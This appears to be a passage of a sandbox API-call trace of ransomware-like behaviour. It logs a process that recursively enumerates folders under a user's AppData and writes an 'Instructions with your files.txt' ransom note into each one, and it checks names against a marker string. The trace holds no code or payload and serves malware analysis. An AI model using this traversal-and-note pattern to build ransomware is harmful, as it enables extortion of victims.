[0131.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.372] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.373] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.373] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.373] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.373] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.373] CloseHandle (hObject=0x120) returned 1
[0131.373] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.373] GetProcessHeap () returned 0x810000
[0131.373] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.373] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0
[0131.373] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Instructions with your files.txt") returned 119
[0131.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.374] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.374] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.375] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.375] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.375] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.375] CloseHandle (hObject=0x11c) returned 1
[0131.375] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.375] GetProcessHeap () returned 0x810000
[0131.375] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.375] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 0
[0131.375] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Instructions with your files.txt") returned 110
[0131.375] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.377] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.378] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.378] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.378] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.378] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.378] CloseHandle (hObject=0x118) returned 1
[0131.378] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.378] GetProcessHeap () returned 0x810000
[0131.378] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.380] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1
[0131.380] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC") returned 63
[0131.380] GetProcessHeap () returned 0x810000
[0131.380] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.380] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*") returned 65
[0131.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.381] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\.") returned 65
[0131.381] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.381] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\..") returned 66
[0131.381] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f5d6350, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2f5d6350, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x2f5d6350, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.381] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\Instructions with your files.txt") returned 96
[0131.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MMC\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\mmc\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.381] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.382] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.382] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.382] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.382] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.382] CloseHandle (hObject=0x118) returned 1
[0131.382] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.383] GetProcessHeap () returned 0x810000
[0131.383] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.383] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1
[0131.383] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project") returned 70
[0131.383] GetProcessHeap () returned 0x810000
[0131.383] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.383] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned 72
[0131.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.383] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\.") returned 72
[0131.383] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.384] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\..") returned 73
[0131.384] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
[0131.384] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14") returned 73
[0131.384] GetProcessHeap () returned 0x810000
[0131.384] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.385] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*") returned 75
[0131.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.386] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\.") returned 75
[0131.386] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.386] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\..") returned 76
[0131.386] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
[0131.386] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033") returned 78
[0131.386] GetProcessHeap () returned 0x810000
[0131.386] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.387] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*") returned 80
[0131.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.387] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\.") returned 80
[0131.387] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.387] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\..") returned 81
[0131.387] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xfee79d60, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 1
[0131.388] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT") returned 89
[0131.388] StrStrIW (lpFirst="Global.MPT", lpSrch="SDfghjkl") returned 0x0
[0131.388] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xfee79d60, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT", cAlternateFileName="")) returned 0
[0131.388] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Instructions with your files.txt") returned 111
[0131.388] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.388] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.389] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.389] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.389] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.389] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.389] CloseHandle (hObject=0x120) returned 1
[0131.389] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.389] GetProcessHeap () returned 0x810000
[0131.389] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.389] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
[0131.389] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\Instructions with your files.txt") returned 106
